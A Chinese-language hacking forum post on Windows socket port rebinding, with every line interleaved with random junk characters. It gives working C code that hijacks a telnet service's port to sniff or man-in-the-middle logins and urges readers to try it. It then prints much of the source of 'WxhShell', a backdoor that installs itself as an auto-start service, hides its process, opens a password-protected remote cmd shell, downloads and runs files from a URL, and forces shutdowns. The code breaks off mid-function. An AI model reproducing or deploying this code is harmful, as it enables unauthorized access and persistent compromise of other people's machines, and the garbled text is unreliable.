在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
P|^f0Rw3. s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
_uWpJhCT ?fiIwF) saddr.sin_family = AF_INET;
:D euX RW|`nL saddr.sin_addr.s_addr = htonl(INADDR_ANY);
*RDn0d[ tG:25 T0 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
6O|@xvg {mm)ay|M 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
kd>hhiz| ?e`^P 这意味着什么?意味着可以进行如下的攻击:
I*o() s0\X ^ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
%!]@J[*1 @V(*65b2 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
[\'%?BH(^ yu;+o3WlK 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
<W|3\p6 bhID#& 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
8N!b>?? H0:E(}@ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
T{Gj+7bQ~ l-fi%Z7C 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
6TYY
UM"& +?F[/?s5qz 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
.nB0 h 5BWH-2HsB #include
qJ;jfh! #include
?@BTGUK"C #include
dpJ_r>NI #include
0f~C#/[t7 DWORD WINAPI ClientThread(LPVOID lpParam);
nePfuG]Q int main()
rk&IlAE {
O|\J}rm' WORD wVersionRequested;
2gc/3*F8 DWORD ret;
U(a#@K!H WSADATA wsaData;
?u-|>N> BOOL val;
.)RzT9sg SOCKADDR_IN saddr;
'r4/e-`pK SOCKADDR_IN scaddr;
Mx&&0#;r int err;
{,3>" SOCKET s;
!i{aMxUP SOCKET sc;
~kQA7;`j$ int caddsize;
.}^g!jm~h HANDLE mt;
MTsM]o DWORD tid;
9`wZz~hL" wVersionRequested = MAKEWORD( 2, 2 );
jB`,u|FG err = WSAStartup( wVersionRequested, &wsaData );
>v:y?A, if ( err != 0 ) {
E7NV ^4h printf("error!WSAStartup failed!\n");
4
K!JQ|9 return -1;
cFaaLUZk }
l9}3XI.= saddr.sin_family = AF_INET;
@GkILFN l H#u //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
%oq{L]C(rf Kw-gojZ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
JM=JH
51` saddr.sin_port = htons(23);
UADFnwR[R if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
cU;iUf {
iEd\6EZ printf("error!socket failed!\n");
/h+8A', return -1;
oz AS[B6 }
]j'p :v val = TRUE;
&Nj3h(Ll //SO_REUSEADDR选项就是可以实现端口重绑定的
QOjqQfmM; if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{kp"nl$< {
DSC$i| printf("error!setsockopt failed!\n");
PfreAEv, return -1;
*i]=f6G }
}'""(,2 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
#OIcLEn% //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
[baiH|5> //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
y<HO:kZ8` G"\`r* O if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
f%Ns[S~ r {
hn^<;av= ret=GetLastError();
`dFq:8v printf("error!bind failed!\n");
\Z]UA&v_ return -1;
VSrr`B
}
(&}i`}v_ listen(s,2);
s~>d:'k7| while(1)
aa?w:3 {
|zR8rqBX; caddsize = sizeof(scaddr);
/a^1_q-bX //接受连接请求
"B= sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
bLe<G if(sc!=INVALID_SOCKET)
"5-^l.CKH {
z54EG:x.7^ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
~;1l9^N| if(mt==NULL)
v5By :z {
K <pV printf("Thread Creat Failed!\n");
lL{5SH<Q break;
>H'4{| }
{U!8|( }
k *Q<3@S CloseHandle(mt);
F{EnOr`,m= }
.C&ktU4 closesocket(s);
9A}# 6 WSACleanup();
\=uKHNP?# return 0;
7]9
a< }
Pdt6nzfr DWORD WINAPI ClientThread(LPVOID lpParam)
)#.<]&P } {
D$bIo" SOCKET ss = (SOCKET)lpParam;
RT)d ]u SOCKET sc;
BlXB7q, unsigned char buf[4096];
Fe]B&n SOCKADDR_IN saddr;
5#> 8MU?& long num;
>+]_5qc DWORD val;
zY,r9<I8_x DWORD ret;
1jy9lP= //如果是隐藏端口应用的话,可以在此处加一些判断
lmfi //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
|55N?=8 saddr.sin_family = AF_INET;
jJuW-(/4[ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
U7oo$gW%|T saddr.sin_port = htons(23);
%7"X(Ts7B if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
sB^<6W!`( {
v=_6XF printf("error!socket failed!\n");
cgm81+[%r return -1;
} w
5l }
)=AHf?hn val = 100;
H2um|6> if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
}RHn)}+ {
,!dh2xNH^ ret = GetLastError();
L5#P[cHzz return -1;
J(c{y]` J }
1E73i_L if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
!1q 9+e {
t?9v^vFR ret = GetLastError();
e'0{?B return -1;
rb1`UG"h$ }
zgs (Dt; if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
&_~+( {
gF$V$cU printf("error!socket connect failed!\n");
_io+YzS closesocket(sc);
r6&54f closesocket(ss);
Z00+!Tnd return -1;
B
x (uRj }
p;W.lcO`0 while(1)
/c2w/+ _ {
|!"2fI //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
GDD '[; //如果是嗅探内容的话,可以再此处进行内容分析和记录
Y7vA`kjD-C //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
b|+wc6
num = recv(ss,buf,4096,0);
sVJ!FC if(num>0)
S(uf(q|{ send(sc,buf,num,0);
IRn2| else if(num==0)
rMU T_^ break;
nWMmna.5 num = recv(sc,buf,4096,0);
|37
g ~ if(num>0)
LE*h9(( send(ss,buf,num,0);
nS&3?lx9_ else if(num==0)
{W]=~*w break;
'Er:a?88l }
N_pJk2E closesocket(ss);
5g9; +}X; closesocket(sc);
I =1+h return 0 ;
jcI&w#re }
BQ @huns3 /r-aPJX +reor@h ==========================================================
3"G>>nC& Rr!Y3)f; 下边附上一个代码,,WXhSHELL
z,VD=Hnz X`fn8~5
==========================================================
bks/`rIA M?[h0{^K #include "stdafx.h"
TEMw8@b ^|TG$`M(w #include <stdio.h>
MW PvR|Q #include <string.h>
dlG=Vq&Y #include <windows.h>
kdn'6>\ #include <winsock2.h>
'sxNDnGg #include <winsvc.h>
!w H'b #include <urlmon.h>
5ux`U{`m r" K':O6y #pragma comment (lib, "Ws2_32.lib")
<D::9c j #pragma comment (lib, "urlmon.lib")
0
s70r IN,(yaC #define MAX_USER 100 // 最大客户端连接数
5*0y7K/D #define BUF_SOCK 200 // sock buffer
x ul]m*Z #define KEY_BUFF 255 // 输入 buffer
&`fhEN JXw^/Y$ #define REBOOT 0 // 重启
eQVZO>)P1+ #define SHUTDOWN 1 // 关机
HmZ{L +" J7v|vjI #define DEF_PORT 5000 // 监听端口
:Dd$i_3= =+x yI #define REG_LEN 16 // 注册表键长度
TuW/N
L| #define SVC_LEN 80 // NT服务名长度
z
Nl , ;A'":vXmc // 从dll定义API
lw :`M2P, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
D)@YI.T typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
]I L;`>Gp typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
/'hC i]b@v typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
m~>Y{F2 9W8]8sUeG // wxhshell配置信息
3 ( ]M{4j struct WSCFG {
@rHK(25+d int ws_port; // 监听端口
I(S)n+E char ws_passstr[REG_LEN]; // 口令
<HRBMSR+ int ws_autoins; // 安装标记, 1=yes 0=no
XTd3|Pm char ws_regname[REG_LEN]; // 注册表键名
-kS~xVS| char ws_svcname[REG_LEN]; // 服务名
jM&r{^( char ws_svcdisp[SVC_LEN]; // 服务显示名
!gLkJ) char ws_svcdesc[SVC_LEN]; // 服务描述信息
|TE}`?y[g char ws_passmsg[SVC_LEN]; // 密码输入提示信息
n 3lE,b int ws_downexe; // 下载执行标记, 1=yes 0=no
C_ \q?> char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
fS:1^A2, char ws_filenam[SVC_LEN]; // 下载后保存的文件名
1RKW2RCaW_ Y $u9%0q|? };
oxj3[</'k h!#:$|Q // default Wxhshell configuration
0I{gJSK., struct WSCFG wscfg={DEF_PORT,
HK~xOAF "xuhuanlingzhe",
$O{duJU 1,
z`6fotL "Wxhshell",
fgj^bcp- "Wxhshell",
2Sq_Tw3^ "WxhShell Service",
uHIiH@S "Wrsky Windows CmdShell Service",
9=,uq; "Please Input Your Password: ",
kSc{^-<R 1,
f,z P* "
http://www.wrsky.com/wxhshell.exe",
'u4ezwF; "Wxhshell.exe"
"v}pdUW };
{u[V{XIUh 5[{*{^F4 // 消息定义模块
^VT1vu
%03 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
>\ u<&>i char *msg_ws_prompt="\n\r? for help\n\r#>";
1G7b%yPA char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
hCYQGx0 char *msg_ws_ext="\n\rExit.";
ICB~_O5 char *msg_ws_end="\n\rQuit.";
CU:o*;jP char *msg_ws_boot="\n\rReboot...";
1ZJQs6 char *msg_ws_poff="\n\rShutdown...";
8SmnMt char *msg_ws_down="\n\rSave to ";
PS
S?|Vk =N);v\ Q$! char *msg_ws_err="\n\rErr!";
39 Y(!q char *msg_ws_ok="\n\rOK!";
0)m8)!gj ];+#i"l char ExeFile[MAX_PATH];
\uG`|Dn int nUser = 0;
a4gi,pz$] HANDLE handles[MAX_USER];
nH !3(X* int OsIsNt;
P%Ay3cR+E OndhLLz SERVICE_STATUS serviceStatus;
CJaKnz SERVICE_STATUS_HANDLE hServiceStatusHandle;
]=73-ywn] ?@6/Alk // 函数声明
1x~U*vbhQ int Install(void);
"tS'b+SJ-S int Uninstall(void);
.7ayQp int DownloadFile(char *sURL, SOCKET wsh);
#kkY@k$4 int Boot(int flag);
M!M!Ni void HideProc(void);
[O
", int GetOsVer(void);
K 3GSOD> int Wxhshell(SOCKET wsl);
2WvN2"f3 void TalkWithClient(void *cs);
I/x iT int CmdShell(SOCKET sock);
MVCl.o int StartFromService(void);
>i,iOx|E- int StartWxhshell(LPSTR lpCmdLine);
3UUGblg`~ ']ood! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
02JL* VOID WINAPI NTServiceHandler( DWORD fdwControl );
|4Ck;gg!j _DPOyR2 // 数据结构和表定义
RBGlzk SERVICE_TABLE_ENTRY DispatchTable[] =
bzmr"/#D3 {
X7*` {wscfg.ws_svcname, NTServiceMain},
j%Y\A~DV {NULL, NULL}
+$z]w(lb T };
1D([@)^ |I[7,`C~ // 自我安装
mjnUs-`W| int Install(void)
@=]8^?$t
0 {
I12KT~z<r char svExeFile[MAX_PATH];
M"^K0 . HKEY key;
ES:!Vx9t0| strcpy(svExeFile,ExeFile);
BZ+-p5]- Xwu.AVsr // 如果是win9x系统,修改注册表设为自启动
h=RDO if(!OsIsNt) {
q(z7~:+qNr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
IvBGpT"(I RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
&w~Xa( uu RegCloseKey(key);
X.|Ygx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
(hZ:X)E> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
~0tdfK0c RegCloseKey(key);
J0<p4%Cf return 0;
T.?k>Ak }
U
:9=3A2$x }
j^u[F" }
]gd/}m)1 else {
'?/&n8J\ r)l` // 如果是NT以上系统,安装为系统服务
M?6;|-HH SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
X}JWf<=q if (schSCManager!=0)
Q^h5">P {
,a(O`##Bn SC_HANDLE schService = CreateService
]
VG?+ (
N7.
@FK schSCManager,
;( KMGir wscfg.ws_svcname,
[QEwK|!L wscfg.ws_svcdisp,
hH4o;0rqJ SERVICE_ALL_ACCESS,
nmE5]Pcg SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
(.^8^uc7X SERVICE_AUTO_START,
5j[#'3TSU SERVICE_ERROR_NORMAL,
~w.2-D svExeFile,
QPg2Y<2 NULL,
j 2}v} NULL,
5d
5t9+t NULL,
lCFU1 GHH NULL,
)A83A<~ NULL
<?|6*2_= );
R7aXR\ R if (schService!=0)
"a(1s}, {
E%*AXkJ'dZ CloseServiceHandle(schService);
d^aNR
Lv CloseServiceHandle(schSCManager);
fPE ?hG<x strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
AVpuMNd@ strcat(svExeFile,wscfg.ws_svcname);
]gP8?s| if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
xii$e RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
ec'tFL#u{ RegCloseKey(key);
9v?V return 0;
M.k|bh8 }
YC)hX'A\ }
a/e\vwHLv CloseServiceHandle(schSCManager);
Jk*QcEE= }
s`Vf+l0 }
7|~:P$M D=9}|b/ return 1;
!fZLQc }
C9Wojo. (HSw%e // 自我卸载
>ZDC . ~ int Uninstall(void)
00qZw?%K {
z@`@I HKEY key;
Y UZKle p,s&61] if(!OsIsNt) {
x vJ^@w' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Xoi9d1fO RegDeleteValue(key,wscfg.ws_regname);
J" wKR y RegCloseKey(key);
!&0a<~Wi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
0%;MVMH RegDeleteValue(key,wscfg.ws_regname);
g
2#F_ RegCloseKey(key);
4g'}h`kh return 0;
dk4D+*R }
4]u,x`6C }
O'Am
RJ }
uf?b%:A else {
yjR)Z9t N.n1< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
0w+5'lOg if (schSCManager!=0)
P09,P {
w?/f Z x SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
*sAOpf@M if (schService!=0)
vhNohCt {
"$Y(NFb if(DeleteService(schService)!=0) {
jB/V{Y#y9@ CloseServiceHandle(schService);
U~hCn+0 CloseServiceHandle(schSCManager);
7>KQRLw return 0;
Jbkt'Z(&J }
?0m?7{ CloseServiceHandle(schService);
YkVRl [ }
Bf+^O)Ns^ CloseServiceHandle(schSCManager);
:Ip~)n9t }
GGp{b>E+
# }
6w@,I; `TkbF9N+ return 1;
" C&x,Ic }
cL
ae=N k5g@myb- // 从指定url下载文件
oN4G1U
Kc int DownloadFile(char *sURL, SOCKET wsh)
^YqbjL {
r
/^'Xj'( HRESULT hr;
E"ZEo9y@^ char seps[]= "/";
=J`gGDhGY- char *token;
!4_!J (q% char *file;
d~3GV(M char myURL[MAX_PATH];
OoE9W char myFILE[MAX_PATH];
i{P%{hVb Q^vGj</u strcpy(myURL,sURL);
qih6me8C token=strtok(myURL,seps);
]u~Os< while(token!=NULL)
-S`TEX
{
U>bP}[&S file=token;
J&'>IA token=strtok(NULL,seps);
f8R+7Ykx }
(2cGHYU3N< oy`3r5g GetCurrentDirectory(MAX_PATH,myFILE);
%;'~%\|dZM strcat(myFILE, "\\");
d8D yv#gT strcat(myFILE, file);
+BU0 6lLD send(wsh,myFILE,strlen(myFILE),0);
LPb]mC6# send(wsh,"...",3,0);
4 iik5 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
|G>q:]+AV if(hr==S_OK)
>y&[BB7S6 return 0;
4$..r4@ else
zI1(F67d` return 1;
d$4WK)U b8eDD+ul k }
A&D2T o`oRG)QC // 系统电源模块
~}epq6L> int Boot(int flag)
FpwlV}: {
aeLBaS HANDLE hToken;
" vv$%^ TOKEN_PRIVILEGES tkp;
M0Lon/% :8GlyN<E if(OsIsNt) {
=ltbS f7 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
9NJ=~Ub- LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
L~'^W/N tkp.PrivilegeCount = 1;
?psOj% tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
['Hp?Q|k AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
e{c._zr, if(flag==REBOOT) {
/%2:+w if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
pyu46iE) return 0;
Pc/.*kOT }
I|Vk., else {
%iHyt,0v2 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
<|mE9u return 0;
}Z~pfm_S }
v'mJ~tz }
f'7d4 else {
+OV%B . if(flag==REBOOT) {
:
OSmr if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
\9&YV;Ct return 0;
nPQZI6> }
&!3VqHQ` else {
FCS5@l,'< if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
@vVRF
Z return 0;
X3&SL~&>g }
(h'$3~ }
Rx@%cuP* 3G:NZ) p return 1;
V1UUAvN7s }
8`R +y i-K"9z|) // win9x进程隐藏模块
-(%ar%~Zd void HideProc(void)
vTe$77n {
RE(=! 8lGR =:ya;k& HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
qr<-eJf if ( hKernel != NULL )
Ppi- skT {
Y ;~~?[6 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
VR5e CJ:i ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
.f?qUg FreeLibrary(hKernel);
aHVdClD2o }
m=("N #NVF\ return;
>yPFL' }
X*c_^g{ =0!\F~ // 获取操作系统版本
Jm*M7gj int GetOsVer(void)
]IbPWBX {
5pKvNLy.t OSVERSIONINFO winfo;
%Mb(
c+7 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
D~i@. k GetVersionEx(&winfo);
uZ=UBir if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
%FR^[H] return 1;
Ok~W@sYST else
!txELA~24 return 0;
BC$;b>IUA }
I]WeZ,E [Q.4]K2 // 客户端句柄模块
"Wn?8vR int Wxhshell(SOCKET wsl)
fEv<W
{
,SE$Rh SOCKET wsh;
&xiDG=I# struct sockaddr_in client;
CL@h!h554_ DWORD myID;
gw~em l:5CM[mZ while(nUser<MAX_USER)
tci%=3,) {
,GXfy9x7U int nSize=sizeof(client);
jhEg#Q$ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
s2kZZP8- if(wsh==INVALID_SOCKET) return 1;
[K4+G]6 wMPw/a; handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
D@4&@> if(handles[nUser]==0)
%Dr4~7=7a closesocket(wsh);
!$KhL.4P else
>$S,>d_k` nUser++;
1J{z}yPHc }
KZ<RDXV T WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
D8D!1 6_ f;tyoN0wHx return 0;
3}#XA+Z }
N>nvt.`P p,AD!~n` // 关闭 socket
u0oYb_Yv void CloseIt(SOCKET wsh)
g<T`F {
`j!2uRFe> closesocket(wsh);
FG5c:Ep nUser--;
6 XOu~+7 ExitThread(0);
g=YiR/O1QN }
$Z%aGc* [ls ?IFg // 客户端请求句柄
>pH775I= void TalkWithClient(void *cs)
Y7t{4P {
Ualq>J5-m- o?O,nD
6 SOCKET wsh=(SOCKET)cs;
*"QE1Fum' char pwd[SVC_LEN];
u g:G9vjQ char cmd[KEY_BUFF];
,nChwEn char chr[1];
f~" V int i,j;
cV_IG}LJ J_[[BJ&}x while (nUser < MAX_USER) {
z vylL
M +-!|%jG`%v if(wscfg.ws_passstr) {
q}F%o0 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
^.1VhTB //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
v4>"p!_C //ZeroMemory(pwd,KEY_BUFF);
L,A-G"z0Z i=0;
"QFADk1 while(i<SVC_LEN) {
qD%&\ZT q>:&xR"ra // 设置超时
NDa|., fd_set FdRead;
rWfurB5f struct timeval TimeOut;
'/Cz{<, FD_ZERO(&FdRead);
[`-O-?= FD_SET(wsh,&FdRead);
$0S" Lh{ TimeOut.tv_sec=8;
&aAo:pj TimeOut.tv_usec=0;
#M^Yh?~%w int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
>\.[}th} if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
I;Fy
k70w; B{UoNm@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
{i}Q}OgYq pwd
=chr[0]; E,"btBg
if(chr[0]==0xd || chr[0]==0xa) {
<d&)|W
pwd=0; G{Enh<V
break; *^+xcG
} .d!*<`S|
i++; TIhzMW\/K
} ,Y8X"~{A
JIKxY$GS
// 如果是非法用户,关闭 socket *#^1rKGWK
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5
^z ,'C
} *=9#tYn~
N&h!14]{Z
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :@Dos'0Px
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h}&IlDG
{bW3%iU
while(1) { j"u)/A8*
}~'Wz*Gm
ZeroMemory(cmd,KEY_BUFF); }Q^a.`h
Od]xIk+E
// 自动支持客户端 telnet标准 Tn-]0hWkP
j=0; _1c_TM h}9
while(j<KEY_BUFF) { SfL`JNi)
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p}7&x[fTLk
cmd[j]=chr[0]; l{o{=]x1
if(chr[0]==0xa || chr[0]==0xd) { ,4W((OQ^
cmd[j]=0; ",V5*1w
break; Z|S7",
} "]V|bz o0a
j++; azc:C
} \o)4m[oF
O~'yP@&`
// 下载文件 N`6|Y
if(strstr(cmd,"http://")) { `2+e\%f/0
send(wsh,msg_ws_down,strlen(msg_ws_down),0); \U>Kn_7m
if(DownloadFile(cmd,wsh)) %{abRBny
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R>&/n/l
else xG/qDc
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aW$nNUVD
} #zs\Z]3#
else { E2kRt'~N
qJt gnk|
switch(cmd[0]) { |raQ]b@t&
bI(98V,t
// 帮助 oz@6%3+
case '?': { zRFM/IYC
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "]Td^Nxi
break; S,RJ#.:F[t
} ZhaOH5{9
// 安装 9'h^59
case 'i': { -V<"Ay
if(Install()) S6tH!Z=(g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )6+W6:
else ,`@|C
Z-4A
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !#qB%E]a
break; MV\zwH
} UOOme)\>
// 卸载 R,1 ,4XT
case 'r': { hz<J8'U
if(Uninstall()) hiHp@"l<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _I4sy=tYXK
else [Cp{i<C
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =T$- #bA)
break; ,$-PC=Ti(
} K_n%`5
// 显示 wxhshell 所在路径 cyNLeg+O*
case 'p': { C ,hsr
char svExeFile[MAX_PATH]; 3:
Uik
strcpy(svExeFile,"\n\r"); o7zfD94I
strcat(svExeFile,ExeFile); e r$ 'c
send(wsh,svExeFile,strlen(svExeFile),0); Y\sjm]_
break; BUyA]
} tO3 ;;%
// 重启 )zo ;r!eP
case 'b': { C<>.*wlp=
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q@n k T1o
if(Boot(REBOOT)) W$S.?[X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :TI1tJS~*
else { oVW?d]R
closesocket(wsh); z, [+
ExitThread(0); T`sM4 VWqU
} BYU.ptiJJ
break; |=s3a5sl
} =C|^C
// 关机 )3sb2
#
case 'd': { 7ZZt|bl
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NY
x4&
*le
if(Boot(SHUTDOWN)) 's<}@-]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Je,8{J |e
else { NO^(D+9
closesocket(wsh); 9 lv2
ExitThread(0); T*m21<
} uE(w$2Wi
break; dp_q:P4;B
} v(`$%V.
// 获取shell ^iNR(cwgX
case 's': { {NR~>=~K-
CmdShell(wsh); }g?]B +0
closesocket(wsh); {y'kwU
ExitThread(0); =%LS9e^7D
break; 2dfA}i>k
} bxs@_fH
// 退出 xXZN<<f59
case 'x': { V 6F,X`7
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0W> ",2|z
CloseIt(wsh); V QI7lJV"
break; )1/O_N6C
} #'qW?8d}
// 离开 Vs
>1%$If
case 'q': { 6k2~j j1d
send(wsh,msg_ws_end,strlen(msg_ws_end),0); *RPI$0
closesocket(wsh); +Ji dP
WSACleanup(); S:gP\Atf>
exit(1); eC?N>wHH
break; _),@^^&x
} K\G|q}E/1
} M5]wU
} Wxjpe4
A.n1|Q#
// 提示信息 ZD3S|1zSQ
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T~la,>p|}
} rAWBuEU;!
} D+OkD-8q
l<5!R;?$
return; VrpYBU
} xfb%bkr
<T['J]k%
// shell模块句柄 "='|c-x
int CmdShell(SOCKET sock) [yz;OoA:;
{ rie1F,
STARTUPINFO si; -
0zo>[c/p
ZeroMemory(&si,sizeof(si)); AWw:N6\
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QeGU]WU{
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @I%m}>4Jm
PROCESS_INFORMATION ProcessInfo; -szvO_UP
char cmdline[]="cmd"; Z=#!FZ{
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OA+W$
return 0; t;'__">:q
} fy-(B;
r_)*/
// 自身启动模式 aD.A +e s
int StartFromService(void) jk~<si
{ t<4+CC2H
typedef struct _$r+*nGDz
{ Rcu/ @j{O
DWORD ExitStatus; FK->|
DWORD PebBaseAddress; 9vXrC_W9
DWORD AffinityMask; \eN }V
DWORD BasePriority; ;lGjj9we>
ULONG UniqueProcessId; co:
W!
